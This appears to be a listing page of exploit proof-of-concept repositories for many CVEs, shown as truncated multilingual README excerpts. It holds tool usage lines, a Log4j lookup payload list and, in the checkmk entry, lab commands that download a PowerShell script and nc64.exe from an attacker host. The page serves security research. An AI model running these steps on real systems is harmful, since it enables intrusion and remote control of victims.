CVE-2018-7600-Remote-Code-Execution

Drupalgeddon2 Python 익스플로잇 CVE-2018-7600 이 저장소는 Drupal에서 Drupalgeddon2CVE-2018-7600로 알려진 치명적인 원격 코드 실행 취약점에 대한 Python 기반 개념 증명 익스플로잇을 포함합니다. 이 스크립트는 교육 목적과 보안 전문가가 승인된 침투 테스트 시나리오에서 사용하도록 설계되었습니다. 📜 면책 조항 이 도구는 합법적이고 윤리적인 목적으로만 사용해야 합니다. 소유자의 명시적인 허가 없이 어떤 시스템에서든 이 스크립트를 사용하는 것은 불법입니다. 작성자와 기여자는 ...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Nee による概念実証 使用方法 python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" 動作内容 指定したペイロードURLを参照する悪意のあるWordファイルを作成します webフォルダにあるデフォルトのペイロードをホストします デフォルトではProof of Conceptで電卓calcがポップアップします 変更やプッシュは自由に行ってください :...

CVE-2025-3248

CVE-2025-3248 Документация инструмента эксплуатации уязвимости Введение Данный инструмент предназначен для использования уязвимости CVE-2025-3248 уязвимость внедрения кода на Python путем создания вредоносной полезной нагрузки для удаленного выполнения команд RCE на целевой сервере. Уязвимость...

CVE-2025-32682

🐚 CVE-2025-32682 - MapSVG Lite ---------------------...

CVE-2022-30525

CVE-2022-30525 Zyxel 방화벽 명령 주입 취약점 CVE-2022-30525 POC&EXP 작성자:160team.west9B 승인된 상태에서 보안 연구원만 사용하도록 제한됩니다. 사이버 보안법을 준수하십시오. 발생하는 모든 문제에 대한 책임은 사용자 본인에게 있으며 작성자와 무관합니다. 01-기본 소개 2022년 5월 12일, Zyxel合勤은 방화벽 장치에서 인증되지 않은 원격 명령 주입 취약점CVE-2022-30525을 수정하는 보안 공지를 발표했습니다. 이 취약점의 CVSS 점수는 9.8입니다. 이 취약점은 일...

checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 テスト環境 mkdir CVE-2021-3129-docker cd CVE-2021-3129-docker wget https://raw.githubusercontent.com/vulhub/vulhub/master/laravel/CVE-2021-3129/docker-compose.yml docker compose up -d 使用方法 git clone https://github.com/miko550/CVE-2021-3129.git cd CVE-2021-3129 p...

CVE-2024-3400-POC

CVE-2024-3400 RCE Test Script Обзор Этот Python-скрипт предназначен для тестирования на уязвимость удаленного выполнения кода RCE CVE-2024-3400, которая затрагивает определенные порталы GlobalProtect от Palo Alto Networks. Уязвимость позволяет неавторизованное выполнение команд через манипуляцию...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 Apache ActiveMQ와 OpenWire 개요 ActiveMQ는 JMS를 지원하는 클라이언트를 포함하는 브로커, 자바 뿐만 아니라 다양한 언어를 이용하는 시스템 간 의 통신을 할 수 있게해준다. 또한 클러스터링 기능 및 DB 그리고 FileSystem을 통해 각 시스템간의 일관성 및 지속성을 유지 시켜주는 오픈 소스 메세징 그리고 통합 패턴 서버 입니다. OpenWire는 Apache ActiveMQ에서 사용되는 이진 메시징 프로토콜...

Apache-Druid-CVE-2021-25646-Exploit

Apache Druid RCE 익스플로잇 CVE-2021-25646 JavaScript 코드 인젝션을 통한 Apache Druid 원격 코드 실행 CVE-2021-25646을 위한 Python 익스플로잇. 설명 이 스크립트는 특별히 조작된 sampler 요청을 통해 임의 코드 실행을 허용하는 Apache Druid 버전 0.20.1의 RCE 취약점을 익스플로잇합니다. 사용법 python3 druidrce.py -u http://target:8888 -c "commandtoexecute" 인자 -u/--url - 대상 URL 예...

CVE-2022-22947

コピー元 オリジナル: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

CVE-2019-15107

Webmin 애플리케이션 버전 1.890 이하에서 인증되지 않은 원격 코드 실행 취약점이 존재합니다. CVE-2019-15107. 참조 : https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

CVE-2024-11394

CVE-2024-11394 Hugging Face Transformers Trax 모델의 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점 취약점 개요 및 영향: 이 취약점은 공격자가 악성 reformer trax 체크포인트 파일을 Hugging Face Transformers 저장소의 convertreformertraxcheckpointtopytorch.py 스크립트에 제공하여 호스트 머신에서 임의 코드를 실행할 수 있도록 합니다. 만약 의심하지 않는 사용자가 타사 reformer trax 체크포인트 파일을 사용하고...

ProxyLogon

ProxyLogon ProxyLogon — это официально общее название для CVE-2021-26855, уязвимости на Microsoft Exchange Server, которая позволяет злоумышленнику обойти аутентификацию и выдать себя за администратора. Мы также объединили эту ошибку с другой уязвимостью после аутентификации, позволяющей...

follina_cve_2022-30190

follinacve2022-30190 CVE-2022-30190follina에 대한 개념 증명PoC입니다. usage: exploit.py -h -u HOSTIP -p PORT -o OFILE -m server, create -s script | scriptfile.ps1 -r HOSTIP:PORT Follina Exploitation Toolkit options: -h, --help show this help message and exit -u HOSTIP, --host HOSTIP host ip address -p PORT...

CVE-2024-41997

Warp 터미널 RCE CVE-2024-41997 sanitize되지 않은 warp:// URI 스킴 핸들러를 통한 명령 삽입. 전체 분석 글은 0day.gg에서 확인 가능합니다. 요약 속성| 값 ---|--- CVE| CVE-2024-41997 취약점| 명령 삽입 CWE-77 대상| Warp 터미널 macOS 영향받는 버전| v0.2024.07.16.08.02 영향| 임의 명령 실행 인증 필요| 없음 1-클릭 공격 벡터| 악성 warp:// URL 취약점 Warp는 Docker 통합을 위해 사용자 정의 warp:// URI...

CVE-2024-11972-POC

Описание Название : CVE-2024-11972 Оценка CVSSv3 : 9.8 Затронутые версии : Hunk Companion argparse, requests, urljoin Использование options: -h, --help show this help message and exit -u URL, --url URL Base URL of the WordPress site default: http://localhost/wordpress/. -p PLUGIN, --plugin PLUGIN...

CVE-2020-9496

CVE-2020-9496 - RCE webtools의 2개의 xmlrpc 관련 요청xmlrpc 및 ping이 인증을 사용하지 않기 때문에 안전하지 않은 역직렬화에 취약합니다. 이 문제는 GitHub Security Lab 팀의 Alvaro Munoz [email protected]에 의해 보안 팀에 보고되었습니다. 이 취약점은 /webtools/control/xmlrpc로 전송된 요청을 처리할 때 Java 직렬화 문제로 인해 존재합니다. 원격의 인증되지 않은 공격자는 조작된 요청을 전송하여 이 취약점을 악용할 수...

Log4j-RCE

Log4j-RCE Log4j RCE - CVE-2021-44228 실행 방법 php log4j.php https://1337.com 요구 사항 PHP CURL PAYLOAD DNS LOG Burpsuite Collaborator 또는 dnslog.cn 사용 페이로드 목록 $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName $env:USER $event:Marker $mdc:UserId...

CVE-2025-32433

Erlang/OTP SSH 원격 코드 실행 취약점, 문제는 SSH 프로토콜의 메시지 처리 메커니즘에 결함이 있어 공격자가 인증 완료 전에 연결 프로토콜 메시지를 보낼 수 있습니다. 주목할 점은 이 취약점이 모든 SSH 서버 구성 요소를 실행하는 Erlang/OTP 버전에 영향을 미치며, 기본 시스템 버전과 무관합니다. Linux에서 컴파일: gcc CVE-2025-32433.c -o sshexp...